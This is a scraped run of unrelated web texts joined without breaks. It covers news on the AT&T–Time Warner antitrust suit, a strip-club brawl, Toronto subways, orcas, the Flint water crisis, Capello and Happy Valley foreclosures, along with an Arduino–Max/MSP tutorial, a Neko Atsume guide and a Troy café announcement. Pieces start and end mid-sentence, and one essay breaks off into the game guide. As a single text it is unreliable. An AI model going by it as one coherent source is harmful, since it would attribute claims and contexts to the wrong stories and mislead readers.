dropped 1.1 percent to close at $87.71, while AT&T shares closed up 0.4 percent at $34.64. The deal has been a political lightning rod since it was hatched in October 2016. During his campaign, Trump said that reporters covered him unfairly and has continued to attack CNN as president, which he has labeled as “fake news.” He has not commented on the AT&T deal since his inauguration in January. U.S. Attorney General Jeff Sessions declined to say last week if anyone from the White House had discussed the merger with any Justice Department officials. VIDEO BUNDLING The No. 2 U.S. wireless carrier is trying to buy Time Warner, which also owns the premium channel HBO and movie studio Warner Bros, so it can bundle video entertainment on its mobile service. Chief Executive Officer of AT&T Randall Stephenson (C) sits with David McAtee (L), SEVP and General Counsel for AT&T, and Daniel Petrocelli (R), counsel from O'Melveny & Myers LLP., during a press conference in New York City, New York, U.S. November 20, 2017. REUTERS/Shannon Stapleton The Justice Department’s lawsuit cited internal Time Warner documents that said long-term contracts to show live sporting events like college basketball and baseball would help allow it to achieve “targeted rate increases.” The lawsuit also said AT&T and Comcast, which control almost half of the pay-TV market, “would have an increased incentive and ability to harm competition by impending online competitors they consider a threat.” The complaint’s focus on raising the costs of DirecTV’s rivals and hampering the move to online video is consistent with normal antitrust concerns, said Henry Su, a partner in the law firm Constantine Cannon. “The theories that are being espoused (in the complaint) are not out on the edge or untested theories. They’re espousing what we consider traditional theories of vertical harm,” said Su. “It doesn’t look like a stretch.” Aside from Trump and the Justice Department, the deal is also opposed by an array of consumer groups and smaller television networks. Senator Richard Blumenthal, a Connecticut Democrat, said he was pleased that the department was seeking to stop the merger but worried about White House interference in that decision. “The Department of Justice can anticipate a tough battle, but it deserves support for the goal of protecting against undue power,” Blumenthal said in a statement. “I remain appalled by President Trump’s attempts to weaponize antitrust law because he disagrees with CNN’s coverage, and I will continue to stand against any improper influence by the White House.” Last week, the Justice Department had approached 18 state attorneys general asking them to join the challenge, but as of Monday none had publicly agreed to do so, Reuters reported. Slideshow (8 Images) Democratic state attorneys general tend to join antitrust lawsuits and may be hesitant to work with Trump’s Justice Department while traditional Republican state attorneys general would be skeptical of a lawsuit to stop a vertical merger, said Seth Bloom, a veteran of the Justice Department who is now in private practice. “In a complaint of this sort, it would be expected that state AGs would sign on to it,” he said. “I don’t know if it ultimately will mean anything.”CARLISLE TOWNSHIP, Ohio -- Two of three triplets who posed for Playboy Magazine in 2007 were arrested over the weekend in a brawl involving six strippers at a local club, police said. The Lorain County Sheriff's Office said Vicki and Sarah Satterfield, both 28, of Elyria, were charged with assault after the early Saturday morning scuffle at the Brass Pole, a strip club at 639 Oberlin-Elyria Road. Deputies went to the strip club about 2:30 a.m. and were met outside by the two women. They told police they had been assaulted by strippers inside the club. Deputies interviewed the club manager, Melissa Anderson, who said there was a fight in the dancers' dressing room. She said she separated the two sisters from the other women, placing them at the bar. Anderson said Vicki became angry and began throwing beer bottles at the wall. Anderson said she threw the sisters out of the club, but they came back in and Vicki "continued her hostile, aggressive behavior." Witnesses said both sisters joined in the assault, which was broken up by other employees. Deputies reviewed security footage of the melee in the dressing room where the Satterfield sisters and four other women were "throwing items at each other." Deputies said when told she was being arrested for assaulting the manager, Vicki threatened to kill her. Both women were released on bond pending a hearing in Elyria Municipal Court. The two Satterfields and the third sister, Rachel, were in a six-page spread in the August, 2007, issue of Playboy Magazine at age 23. But the national exposure did not lead to their dream of being a Playboy Centerfold. They mainly continued to strip at Elyria-area clubs. "In our world, we're celebrities," Vicki said in a 2007 interview, "but we want to be famous… Every girl wants to be famous. "Every girl wants to be in Playboy." They grew up in Lorain and attended Admiral King High School but did not graduate. They started stripping at age 19.Toronto Mayor Rob Ford has thrown down the gauntlet, declaring on Friday that he is not wavering on his promise to bring more subways to Scarborough — he's even said he's willing to raise taxes. At issue is a heated debate over whether to replace the ageing Scarborough Rapid Transit line (SRT) with a light rail train (LRT) or subway. Ford says subways are "what the taxpayers of Scarborough want." But even though Ford said he is willing to increase taxes by a modest 0.25% to make the dream come true, he also needs the province and the federal government to pay their fair share "or the deal is dead." Ford rode into office on a mantra of cutting taxes. But in this instance he said he was willing to raise taxes slightly — by about $5 per household per year — to help finance the subway extension. He called it "an investment." Just a few hours before the mayor met with reporters in Etobicoke, city manager Joe Pennachetti released a report exploring the options in the subways vs. LRT debate. Pennachetti said a decision to build an LRT would not require any action from city council. The plan already exists in a Master Agreement between the province, Metrolinx and the city. But if subways replace the LRT, then the report outlines the costs involved in making such a change and how the city might pay for it. The LRT option would cost $1.1 billion and the subway $2.3 billion, the report says. Pennachetti recommends a property tax increase, development fee increases and other methods to pay for the subways. In June Metrolinx asked the city to reaffirm its commitment to the LRT project by Aug. 2. City council is now set to debate the issue on July 16. Ford says he has the support of TTC chair Karen Stintz and the new deputy mayor. "We've agreed on a subway for Scarborough," he said. But where the deal could come unwound is in the financing. Ford said the province must commit the full $1.8 billion it was offering for the LRT project. Added to that, he said, must be money from the federal government. But how much money Ottawa might contribute is still up in the air. "I'm meeting with [federal Finance Minister] Jim Flaherty [Saturday] morning," Ford announced. On Monday he'll meet with provincial Transportation Minister Glen Murray. "This is an investment," said Ford. Extending the subway to city's eastern borders will drive the city's economy creating high paying jobs he said. Ford was hopeful when asked if he will have the votes at council to change the Master Agreement and build subways instead of an LRT. "I hope they'll approve it," he said. Murray said Friday on CBC's Metro Morning, that dropping light rail in favour of a subway extension is a major undertaking. "This isn't like moving a lemonade stand from one side of the street to another," he told host Matt Galloway. "If next week I don't see an evidence-based plan … then I think it's going to be a short conversation."An explosive cloud of mist and vapor hang in the air as an armada of orca whales surface to breath as they swim close to shore near Lim Kiln State Park on San Juan Island. It is a fact that when it comes to the underwater food chain, the sharks dominate. But not for long as the ferocious predator met its nemesis. Killer whales or orcas are now feasting on the fearsome sharks. Advertisement A rare footage was taken by drone pilot Slater Moore on Tuesday while aboard the SeaWolfe II along with the Monterey Bay Whale Watch. The crew spotted a pod of 25 killer whales and is certain that a feast is being shared by two females and two calves. This prompts Moore to navigate his drone to the venue. "And all of a sudden one of them brought it up, brought up the whole shark - and it was still alive, it was squirming around," says Katlyn Taylor, a marine biologist with the company. A living shark is the most badass baby food on the planet. According to The Verge, the offshore killer whales only surface in Monterey Bay annually or so. However, it is still a puzzle where the Cetaceans spend its time in between though scientist knew they have ascended all the way from Southern California to Alaska. Killer whales that often visit the water of the Monterey Bay are referred as transient killer whales which primarily eat other mammals. Orcas (Orcinus Orca) have been also discovered to attack, kill, and eat sharks with a technique called "karate chop". This method drives the shark to the water surface and then raises their tail and crashing it down to the shark, suchlike to a martial artist performing a karate chop. Afterwards, the killer whale will grab the shark and flips it over by grabbing its tail just like what a martial artist do. Killer whales disable its shark preys by grabbing and flipping it over through tonic immobility. Once the shark is flipped to its stomach, it becomes immobilized allowing the killer whale to successfully paralyze and attack it. Generally speaking, sharks are not part of the killer whale's menu but when food becomes scarce or insufficient, that is the time that orcas will kill and eat anything in its way. Monterey Bay Whale Watch said that the pod of offshore killer whales usually target sharks and bony fishes, aside from other fishes, crustaceans and squid, according to SFGate. Sharks that have been recorded being attacked and eaten by orcas include threshers, hammerhead, makos, whale sharks, and even the vicious great white sharks.Since the upgrade of Firmata v2, it has been difficult communicating between Max/MSP and the Arduino board. However, thanks to Christopher Coleman, who updated the Max patch of Marius Schebella, it’s working again. Thank you Chris! Download the latest Maxuino here. This is a basic tutorial on how to set up communication between Arduino and Max/MSP This tutorial is for Mac OS X. If you are on an other platform, you can find instructions on the Arduino site to get your Arduino up and running. -When it’s done, open the folder and make sure to keep the structure the same. -If you are using Arduino Duemilanove or a similar board that runs off USB you’ll have to install the USB drivers. You can find them in the Arduino folder you just downloaded. -When that is done, launch the Arduino Software. -Go to: Tools –> Board –> and choose your board. -Make sure to pick the right serial port: Tools–> Serial Port –> it should be something like /dev/tty.usbserial-… -If you have an LED, connect the positive (longer leg) to digital pin 13 and the negative (shorter leg) to ground (GND) so you can have easy visual feedback when testing it. If you don’t have one, there is a tiny light that blinks the same way, it is marked ‘L’ directly below ground and pin 13 (in the picture). Update: make sure you download the latest Firmata. Thanks Hans-Christoph Steiner! -Open Standard Firmata: File –> Sketchbook –> Examples –> Library-Firmata –> StandardFirmata. -Upload the standard Firmata onto your Arduino by hitting (Command + U). As it is uploading, keep an eye on your board, you should see the LED blinking a few times sporadically, that’s a good sign. -You should now see at the bottom of the sketch’s window ‘done uploading’ and the size in byte. -If you only want to work with Max/MSP you won’t need to touch the Arduino software again, but if you upload anything else onto your board, it will delete the Firmata and you’ll have upload it again. Now on the Max side of things: -Firstly, make sure to close the Arduino software. -If you haven’t already, go download Maxuino-005. -The heart of it all is the arduino.maxpat file, so you have to put it into your Max search path. If you have the older version of Maxuino, delete it so that Max doesn’t find multiple files. -Open up Max/MSP and launch arduino_test.maxpat. -Make sure that the right port is selected, it should be the usbserial-… port we chose earlier. -Test to see if your Arduino and Max/MSP are talking by switching on the toggle above the metro in ‘digital Pin output’, you should see the LED on the Arduino blinking the same as in Max/MSP.WASHINGTON/CHICAGO (Reuters) - The head of the Midwest region of the U.S. Environmental Protection Agency offered her resignation over the water contamination crisis in Flint, Michigan, the agency said on Thursday, as it issued an emergency order to resolve the growing problem. The top of a water tower is seen at the Flint Water Plant in Flint, Michigan January 13, 2016. REUTERS/Rebecca Cook Susan Hedman, the second official to resign since the crisis unfolded, had played down a memo by an EPA employee that said tests had shown high levels of lead in the city’s water, telling Flint and Michigan administrators it was only a draft report. Hedman’s resignation will take effect Feb. 1, the EPA said. Before the agency’s announcement on Hedman, the White House said President Barack Obama will ensure officials will be held accountable if any wrongdoing is found. The EPA on Thursday issued an emergency order requiring Michigan and the city of Flint to take immediate steps after determining that their response to the crisis had been “inadequate to protect human health.” Under the direction of a state-appointed emergency manager, Flint, a working class mostly African-American city of 100,000 north of Detroit, switched water supplies to the Flint River in 2014, to save money. The river is known locally as a dumping ground. The more corrosive river water, which was not treated, caused more lead to leach from the city’s aging water pipes than the Detroit water the city had tapped previously. Complaints about the water began within a month of the change, but officials did not take steps to remedy the situation until October 2015 after tests showed elevated levels of lead in some tap water in the city and in some children. Lead is a neurotoxin that can damage brains and cause other health problems. The city switched back to Detroit water in mid October, but the contamination continued. The Flint crisis pushed EPA Administrator Gina McCarthy on Thursday to issue a new policy to elevate any issues that appear to be a substantial threat to public health, or that “other authorities appear to be unable to address.” “Our strength can become a weakness if we interpret our responsibility as ending with simple technical compliance,” McCarthy said in a memo to all EPA staff. The EPA’s inspector general agreed to evaluate the Midwest office’s public water system supervision program and its implementation of its state oversight. Representative Jason Chaffetz, chairman of the House Oversight and Government Reform Committee, said “The EPA is rife with incompetence and Region 5 is no exception. Mismanagement has plagued the region for far too long and Ms. Hedman’s resignation is way overdue.” White House spokesman Josh Earnest, noting that the Justice Department was investigating the contamination of Flint’s water supply, told reporters that Obama will make sure that EPA officials are held responsible for any errors that may be uncovered. By the end of next week, Michigan would have access to $80 million for water infrastructure funding agreed to in last month’s bipartisan budget, Obama told a group of mayors at the White House. GOV. SNYDER TO BE INVITED TO TESTIFY Michigan Governor Rick Snyder and other officials will be called to testify next month to a congressional panel. U.S. Representative Brenda Lawrence, a Democrat, requested a Feb. 3 hearing of the House Oversight and Government Reform Committee last week, said spokeswoman Tracy Manzer. The invitation will be specifically for the governor and he cannot send a representative on his behalf, Manzer said. However, Republicans on the committee said nothing about the hearing was set in stone and it was not yet on the committee’s website calendar. Details being discussed about a hearing on Flint “are entirely premature,” said a spokesman for Republicans on the committee who did not want to be named. “There are no confirmed details at this time, particularly with respect to a date or witness invitations,” the spokesman said. Dan Wyant, former director of Michigan’s Department of Environmental Quality, are among the other invitees. Wyant resigned in December over the growing crisis in Flint. The hearing will “identify precisely what went wrong in the process and to ensure that those who were responsible are to be held accountable and that this never happens again,” Manzer said. Snyder, a Republican, has rejected calls from critics for his resignation over the crisis. He asked the Michigan state legislature this week to approve $28 million to assist Flint and said there would be additional funding requests. The Michigan House approved the funding unanimously on Wednesday and the bill was in the Senate on Thursday. In recent weeks, the Michigan Department of Health and Human Services also has said that it has seen an increase in Legionnaires’ disease cases in the county that includes Flint covering the period in which the river water was the primary source. It could not conclude if the cases were related to the water switch. A report released on Thursday found 87 Legionnaires’ cases in the county from June 2014 through October, including nine deaths.I want to elaborate on an earlier post of mine, that received some backlash on Reddit. I said “it is [not] an altogether correct judgment to blame drug consumers for their deaths.” I stated that I don’t believe drug users are entirely to blame for the occasionally-lethal consequences of their willful intoxication; a point I
→ How to take a picture of one cat Tap on the camera in the menu. Tap on the desired cat, drag the viewfinder around if you want to adjust, and tap the camera icon to take the picture. The image will go into that specific cat’s album automatically. You can tap on this button to move the image to another cat’s album or to the “free” album. → How to take a picture of your entire garden If you want to take a picture of the entire garden without the little fish icons in the bottom, tap on the icon with the hills at the top. (Once you’ve expanded your house, there will be an icon with two hills, which will take a picture of the extended portion of your house, too.) Tap on the camera icon, and the picture will be saved directly to your phone. To go back to taking pictures of cats, click on the cat icon at the top next to the hills icon. → How to rearrange pictures in your albums Tap once on your desired picture to select it. After that, you can drag the picture around to the spot you want to move it. → How to delete pictures There are now two ways to delete pictures. The old way: Tap once on your desired picture to select it. Hold it for a few seconds, and an option to delete will appear. Tap “はい” to confirm or “いいえ” to decline. The new way: Tap once on your desired picture to select it. Tap “さくじょ” at the top to delete a picture. Tap “はい” to confirm or “いいえ” to decline. → How to move pictures to another album Tap once on your desired picture to select it, and tap “いどう.” It will pull up the list of all the cat albums, including the “free” album. Choose the album where you want to move your picture. → How to make a picture the default picture for a cat’s profile Tap once on your desired photo to select it. Tap it once again to see “best shot” labeled on the photo. The image with the label “best shot” will be used on that cat’s profile. → How to add additional pages to an album When viewing your album, tap this icon to add additional pages. It will tell you that it will cost ten gold sardines to add an additional page. Tap “はい” to confirm or “いええ” to cancel. Note that you have a max of eight pages in all cat albums and sixteen pages for the “free” album. → How to zoom in and out Pinch two corners of the viewfinder to zoom in and out of the photo. Take the picture as usual. How do I get regular/gold sardines? Cats who are done leeching off you will give you fish as thanks. Most will give you regular fish, but sometimes they’re not stingy and will give you gold ones! I’m not sure what determines the amount of fish they give you, but I think the longer they stay, the more they give (as is the case with Manzoku-san, who will leave immediately once you refill the food, but he’ll give you 20-30 regular fish if you let him have his fill). Rarer cats usually will give you more fish than regular cats, too. You can also purchase gold sardines with “real life” money, which can be found at the top after you’ve tapped on “shopping”. Sometimes you can get a few extra gold fish from “あいことば” as stated below as well. If you’re in a hurry to get lots of sardines, Manzoku-san and Koikoi-san tend to give more sardines and are easier to attract than other rare cats. The screen faded to black, and a cat walked across the screen. What’s happening? When a cat has visited several times, there is a chance that it will give you a treasure. These treasures will be added to a cat’s profile, along with a small description. When the cat walks across your screen, it will wait in the middle. Tap it to receive the treasure, and your game will resume. I believe the number of times a cat must visit before you receive a treasure is random because I’ve seen varying numbers being reported. What do “treasures” do? Nothing really… They’re proof that you’ve become friends with that cat! I put “treasure” in quotes because it’s probably treasures to cats but not to us… Like a cicada shell… Anyway, it’s just something to look forward to if you want to complete every cats’ profile. How do I expand my garden? When you tap on “shopping,” scroll all the way to the end to find this preview that costs… 180 gold sardines! It’s expensive, but it will expand your garden/house so that you can set out more items for more cats to visit. Remember to set out food on both sides of your garden! If you’re having trouble getting gold sardines but don’t want to resort using real life money, you can exchange 500 regular sardines for 10 gold sardines under “shopping” or enter the daily “あいことば” like I stated below and pray that you can get some gold fish. It’ll take a few days to get to 180 gold sardines, but it’ll happen! Also, you can only expand your house once. How to I remodel my garden? You have to expand your garden first before themes are unlocked. After you’ve expanded your garden, the paw print located on the bottom left-hand corner of your menu will change into an icon with a house, labeled as “もようがえ.” Remodeling is expensive and will cost 280 gold sardines for each remodel, but you will receive a coupon (right after expanding your garden) for half off of your first remodel. Once you’ve purchased a model, you can switch themes any time by going to “もようがえ.” A translation of the themes in the order they’re listed: – Default – Pond and alcove – Wood deck – Modern style Note that each time you change your theme, your items will go back into your inventory, as the locations to place items change with each theme. Your food is safe, though, in case you’re using expensive food! What is “あいことば”? “あいことば” means password. If you tap on “news” on the menu, you’ll see a cat with a sign that says “今日のあいことば” (today’s password). By entering the daily password, you can get some free fish! You can do this once daily as the password changes everyday. (I think it changes at midnight JST). The amount and type of fish vary daily, and sometimes you can even get both regular and gold fish at once. I’ve been told that iOS and Android versions of the game have different ways of getting the daily fish from the password, so I’m going to list the different methods! These methods are for version 1.3. → あいことば for iOS devices Simply tap on the board with the あいことば. It will automatically redirect you to “つうしん.” Tap on the first option (“あいことば入力”), and you will get your daily fish, with no need to type anything in. → あいことば for Android devices For Android users, the password is published daily on reddit here. There’s also a IFTTT recipe that can send you the password to your phone using Pushbullet. Thanks Phermaportus for telling me about this! I know some people were looking forward to practicing writing Japanese characters, so I’ve left the original ways to get the password below. Remember the word listed on the board labeled “今日のあいことば.” Go back to the menu and tap “つうしん” (the icon to the right of “news”). Tap on the top link to enter the password. Type in the password. Tap “決定” to confirm or “やめる” to cancel. (If anyone is curious, this word is one of the 36 seasonal terms that means “clear and bright” and starts around the beginning of April. Bringing back nightmares from writing business letters in Japanese…) After confirming, you’ll get some free fish! The password is in Japanese, so you’ll need a Japanese keyboard to input the word or need to be able to copy/paste the word from elsewhere. → What if I don’t know Japanese, or what if I don’t have a Japanese keyboard installed? You can use Google Translate! There are two ways you can use the Google Translate app: by handwriting characters via the scribble option or by using the camera/OCR option. → Using the scribble option with Google Translate This works on both the mobile and app versions of Google Translate! Tap here to switch from keyboard input to handwritten input. Handwrite the characters and hope that Google Translate won’t mistake the characters for another word. (Sorry, my penmanship on touch screens is so atrocious!) You can then copy the word from here and paste it back into Neko Atsume. → Using the camera option with Google Translate The Google Translate app now has an OCR function! I still prefer the scribble option over the camera/OCR option because the camera option has failed me too many times. First, take a screencap of your Neko Atsume game with the daily password. Tap here to use the camera/OCR function. Make sure you have the translation set to “Japanese – English” and tap “import” to choose your recent screencap. Highlight (by swiping with your finger) the daily password to get a read of the characters and its translation. You can then copy the characters and paste it back into your game. But as you can see here, the app failed to read the word… I had seen some people mention using Google Translate’s camera app, so I thought I should add it here as well in case anyone is having trouble with the scribble option. There’s a comment below that suggests using a separate OCR app for Android devices, so please check it out if the Google Translate isn’t working for you! What’s this list that appears after entering the daily password? A new feature with version 1.3, the daily password now comes with a stamp card! When you’ve filled in five passwords, you’ll get a present! I don’t know if the present will change each time, but I got canned cat food for my first present. If you miss a day, your stamp card won’t reset! You will continue to receive stamps from where you left off. Is there a way to stop Manzoku-san from eating my expensive food? Yes! If you’ve expanded your house, you can place your expensive food in the left half of your house. The lazy bastard won’t walk all the way inside the house, so your food is safe there. (I’ve heard he can still appear in the left half of the house, but only with the big cushion.) Just make sure that your expensive food is located on the half of your garden with the food bowl located toward the top of the screen. For example, with the default theme of your garden, you would need to put your expensive food on the left half. With the pond and alcove theme, you would need to put your expensive food on the right half of your garden. Thanks to everyone who gave me a heads-up about this tip! My garden has absolutely no cats, or cats won’t visit the other side of my garden. What’s wrong? The only thing that will keep cats from visiting is the lack of food. Check your game occasionally to make sure your food bowls aren’t empty. If you’ve expanded your garden/house, don’t forget to put food in BOTH halves. Once you’ve refilled your food bowls, cats won’t visit immediately. Leave your game alone for maybe a few minutes and check again. If you see a message that pops up on your new half of the house (which Google Translate translates as “rice is not grounded”), it means you didn’t put food out! If I leave my app open for long periods of time, will cats still visit? No. You need to either leave your game idle or force-close your game. Check back once in a while to check to see if you’ve gotten any new cats. It seems like this game was designed to not require a lot of attention, so constantly checking it every other minute won’t reflect any big changes. What’s this cat doing, sitting on my menu? He’s just advertising for other apps! If you tap on the cat, it’ll say, “Do you want to see the flyer (cat)-san is holding?” Tap “はい” to see a link to another app or tap “いいえ” to decline. The cat doesn’t always appear on top of your menu, and sometimes the link to another app won’t generate, so don’t worry if you don’t see an ad. Can you transfer data between iOS and Android? As of right now, no. But I’ve been able to save my game data by backing up my phone to my computer (and I have iOS). I’ve wiped my phone to factory setting several times (because I abuse my phone a lot, haha), and I’ve had no problems with Neko Atsume after restoring a backup I’ve saved. I’m assuming the same method will work for Android. What does the support ID do? If you tap on Settings, you’ll see where to adjust the volume of the BGM and sound effects. Underneath it is a support ID. This is used when you are sending an inquiry to the developers about any problems with the game. It’ll ask you to leave your support ID so they can communicate with you. If you tap on your support ID, it’ll explain this in Japanese. Can my cats get fleas? The first time I got this question, I thought it was a troll and deleted the question. Surprisingly, this question has been asked several times after that, and it has even been Googled several times, too! The answer is NO. On the same note, just because the cats have cute little buttholes drawn, doesn’t mean they’ll poop all over your garden. It’s just not part of this game, haha.Capello officially starts the England job on 7 January The Italian, 61, will officially start in his new post on 7 January. Capello said: "I have wanted this job for a long time and I know there are great expectations that go with it. "My first objective is to meet the players and the club coaches in the Premier League. England has a great team that can go right to the top." Capello, who has signed a four-and-a-half-year contract worth £6.5m a year, said it was a "dream come true" to take the England job. He needed a translator for his first press conference since accepting the job but said he is determined to improve his English before February's friendly against Switzerland. "I am convinced that in one month when I meet up with the squad for the first time, I will be able to speak English," Capello explained. "I believe it is very important to communicate with players and I will undergo a strict routine to learn the language - I will apply myself every day." The former AC Milan and Real Madrid coach says he will ask his squad why they think England have under-achieved in recent years, and failed to qualify for the finals of Euro 2008. "I'm going to try to understand what happened by talking to the players," he added. "I believe that wearing the England shirt should be a matter of pride - I want to see all players playing for England like they do for their clubs." Capello acknowledged that managing England will be very different to being in charge of a club side - but says he is confident he can work well with his players, and gain the co-operation of Premier League managers too. "It is very different," Capello said. "My behaviour will have to change, as will the players. "I have always had an excellent relationship with Sir Alex Ferguson and Arsene Wenger and also the two Spanish managers Rafa Benitez and Juande Ramos. There is still over a month until my first game and plenty of time for important decisions to be made Fabio Capello "I've always had a fantastic relationship with such individuals, it will be no problem in working alongside them." Capello is also keen to add an English coach to his backroom staff, saying: "From the first day I spoke with Sir Trevor Brooking, I have always asked for an English coach to be integrated into the set-up. "It is something I have done wherever I have been - it is vital have someone from that environment who understands English football and the language." Capello was asked about former captain David Beckham's hopes of winning his 100th cap against Switzerland and continuing his England career until the 2010 World Cup. During his time at Real Madrid, Capello initially dropped Beckham but recalled him to play an instrumental role in his title-winning team. Capello said: "I had a contrasting relationship with David Beckham at Real but in the end he demonstrated what a great man and great player he is. "Also, he is the kind of person I believe, when he sets himself something he will achieve it so you never know but obviously I will have to make choices. "I believe David's behaviour is important. This is a significant appointment and we are delighted with the response from the public and the media. We know we owe the fans and we believe Fabio Capello is the man to restore our pride Brian Barwick "Obviously there is still over a month until my first game and plenty of time for important decisions to be made." There has also been speculation over Chelsea defender John Terry's future as England captain under Capello, but the Italian said he is yet to make a decision. "I have just arrived," Capello said. "There are many things I have to think about, I have got over a month and I will make my decision." FA chief executive Brian Barwick is certain Capello will prove to be a success, saying: "We have an outstanding man with an outstanding record. "This is a significant appointment and we are delighted with the response from the public and the media. We know we owe the fans and we believe Fabio Capello is the man to restore our pride." Barwick confirmed the FA's plans to restructure coaching in England will go ahead, with the aim of producing some realistic English candidates to succeed Capello. He stated: "We have talked about root and branch (reform) and there has been some scepticism about whether we'll see that through and whether it was just a smokescreen. It wasn't. "The FA's strategic review will be published in March 2008 and it will take us through the next five years. A direct part of it will be to work out how we take the England situation forward in a positive way. "It should always be the ambition of the FA, when possible, to recruit an England manager from within our own country. "On this occasion we felt it was important to get the right man whatever the nationality."Announcing The Charles F. Lucas Confectionery Many of you have been quite interested in keeping up to date with this project that’s happening at 12 Second Street in Troy. I’ve posted up two galleries earlier in the year and the response has been insane. On Monday, I stopped in once again takes some photos and chat, as the space is essentially done and just waiting on permits. Vic and I sat down and talked a bit about what’s been done since I was last there, such as the plan for drinks and food and much more. After a little while, Vic mentioned that this space still didn’t have an official name. Vic didn’t want to name it another hip, single-word name since he felt that those places are easily forgotten and disposable. Instead, he’s opted to name his business The Charles F. Lucas Confectionery in tribute to the confectioner that once occupied the same space. Info on Charles F. Lucas is as follows: Charles F. Lucas was born in 1827 in Austria & arrived in Troy NY in 1855. He quickly became a popular caterer and community leader, helping to organize grand events such as the RPI Semi-Centennial celebration and Watervliet’s annual Oswald Club Excursion. In 1863, eight years after arriving in America, he founded the confectionery at Nº 12 Second Street in Troy. Candy and ice cream were produced at Nº 12 Second, including the sugar castle on display at the Rensselaer County Historical Society. Charles F. Lucas quickly expanded the confectionery business to include a restaurant, and in 1870 launched the “Charles F. Lucas Confectionery & Ladies Restaurant” (‘Ladies Restaurant’ was terminology for ‘fancy’ in the 1800’s). Charles F. Lucas passed away in 1887, leaving behind 7 children and his wife Louisa. Lucas Confectionery remained in business until 1951. There’s so much rich history in that building and Vic, his wife Heather and their team have done so much to preserve the feeling and space of the Lucas Confectionery that the name they have chosen makes complete sense and fits perfectly. The attention to detail that the place has is also beyond belief. A quick example of the detailing is as follows: they want to encourage people to linger and relax with a book or a computer or whatever, but realized when sitting at the bar there was nowhere to plug a computer in, so they ran a group outlets under the bar. Not ordinary outlets though, these have two USB ports and one standard wall outlet (see photo 35), so you can charge up your phone, iPad, kindle, whatever, even if you forgot the charger itself. All the other nooks and crannies have spots to plug in that are so intelligently placed that you wouldn’t even think for an extra second about their placement unless someone brought it up. And this carries over to everything about the space as well. The way the tables and chairs are placed, the way the bar is set up, the window tables, everything. You can see how insanely far this project has come (from drywall and drop ceiling to what you see above) via photos on Vic’s flickr and what’s in store at the official website. Hit the jump or click the photo above to launch the gallery.Southeast Francesca Lane cuts up and around a hillside to reveal the boom-time promise of Happy Valley circa 2006. Young families rolled in to snap up $600,000, stone-fronted homes with Mount Hood views. They came for the country meets cul-de-sac life, solid schools and a 4,000-square-foot edition of the American dream. Speculators trailed on their heels for the next get-rich-quick venture. Francesca Lane circa 2008 isn't dreamy any longer.One of every five homes or lots on the street has fallen into foreclosure since the neighborhood sprang up three years ago. The street offers a grim picture of how greed dragged Happy Valley, Oregon and even the world into financial turmoil. Francesca Lane is where the country's gamble on high-risk mortgages inflated home values, then crashed down on the freshly manicured lawns. All sides contributed. A builder who pumped out more high-end homes than the town's buyers demanded. Mortgage lenders who ditched traditional standards with subprime loans, no down payments and 11 percent interest rates. Speculators who banked on climbing home prices. Buyers who took on more home than their pay stubs said they could afford. The collapse has fallen on the mighty and tiny. The king of Happy Valley homebuilders, Roger Pollock and his Buena Vista Custom Homes, faces a foreclosure lawsuit on two Francesca Lane lots. Dick and Aloma Anderson, a retired couple from Clark County, gambled that they could flip a Francesca Lane home for a quick profit. Now, their retirement won't be quite as golden. Portland's housing market has generally avoided the deep pain found in fast-growing Southwest cities or economically stagnant Detroit. Yet Happy Valley -- along with Clark County and central Oregon provides a local example of the California-style 'burb boomtown gone bust. The suburb that should be so upbeat is infected with plunging home values, 675 empty lots carved into hillsides and 35 half-finished homes soaking in the rain. To the most macabre, Happy Valley is known as Death Valley and its slopes as Foreclosure Hills. Across the Portland area, home prices actually rose in the first nine months of 2008 compared with the same period in 2006. But in Happy Valley's main ZIP code, prices fell 24 percent. The foreclosure rate of 1.7 percent is double the regional average. The ramifications are broad. Happy Valley's vast supply of unsold homes and lots will suppress values across the east side for months, if not years, to come. "It was the next dot-com," says Jeff Tabler, 40, who bought a discounted Francesca Lane home at an auction in January. "Anyone who thought they could speculate on it did speculate on it. "These people were into the concept of making money, and it just got out of hand." Farmers fought growth It seems implausible today, but Happy Valley incorporated as the anti-city to halt growth. By the 1960s, the city of Portland had steamed eastward, and Happy Valley's small farmers fretted that their community would be overrun by asphalt. The city of Happy Valley • Founded: 1965 • Population: 10,380 in 2007 • Growth: 129 percent between 2000 and 2007, making it Oregon's fastest growing city They formed the city of Happy Valley in 1965. For the next three decades, James Robnett held the mayor's seat, but his title might as well have been growth gatekeeper. The town lacked a sewer pipe to absorb new homes, and Robnett wasn't about to build one. Oregon won national acclaim for clamping down on distant sprawl by sending growth to places close to the big city like Happy Valley. Yet Robnett and his supporters riled regional planners by holding onto their rural resistance. Capitalism eventually overpowered. Grocery stores and strip malls rolled out Southeast Sunnyside Road and brought a sewer pipe to the city's border. A younger, more growth-friendly group won City Council seats and voted out Robnett in 1995. Five years later, regional planners got their way as Happy Valley agreed to open a vast hillside above Sunnyside Road to subdivisions. To serve the hill, the city replaced a remote farm-to-market road with a tree-lined boulevard that became Southeast 152nd Avenue. The new road eventually paved the way for Francesca Lane. By 2003, the table for growth was set. That's when Roger Pollock arrived carrying plans to house the next generation. A brash builder with a plan Happy Valley had never seen anything like Pollock and Pollock had never seen anything like Happy Valley. The town was so quiet it wouldn't allow a grocery store in its trademark hollow for fear of attracting too much commercial buzz. Residents prized their oversize lots, custom-built homes and pastoral scene. Pollock, on the other hand, is a brash, bleached-blond, chain-smoking, fast-talking builder. He arrived with a business model to stamp out tract homes as fast as anyone. He favored oversize homes for relatively undersize prices. His homes attracted young, growing families but conflicted with the town's more stately image. "If the city had its choice of a builder, Roger Pollock would not have been their first choice," says Gene Grant, the town's former mayor. Sipping bottled water at a Starbucks near town recently, Pollock describes Happy Valley as a suburban utopia with the polish of a new city and the quaintness of an old farm town. Wide, freshly paved streets. Easy freeway access. Sweeping views. Happy Valley has become the Generation Y hot spot while Beaverton -- the baby boomers' boomtown -- looked worn out and traffic-choked. "It is an incorporated town inside a bigger city, not unlike Beverly Hills," Pollock, 47, says without a touch of sarcasm. Pollock took out bank loans to buy nearly every lot primed for new homes. "I didn't have a monopoly, but I owned all the lots," he says, chuckling. Facing stiff competition starting in 2003, Pollock agreed to pay about $128,000 a lot when the going rate was $115,000. He knew he overpaid but presumed he'd make the money back as values climbed. In some cases, Pollock says, he resold lots for as much as $225,000. But he kept most to build on himself. Pollock's Happy Valley projects propelled Buena Vista Custom Homes into the nation's fastest-growing homebuilding business, trade journal Builder Magazine declared in 2005. That year, his homebuilding machine rolled onto Francesca Lane on that hillside above Sunnyside Road. By summer 2006, the Portland housing market was boiling over. Prices rocketed up 30 percent in two years, more than double the historical pattern. That's when Aloma and Dick Anderson showed up on 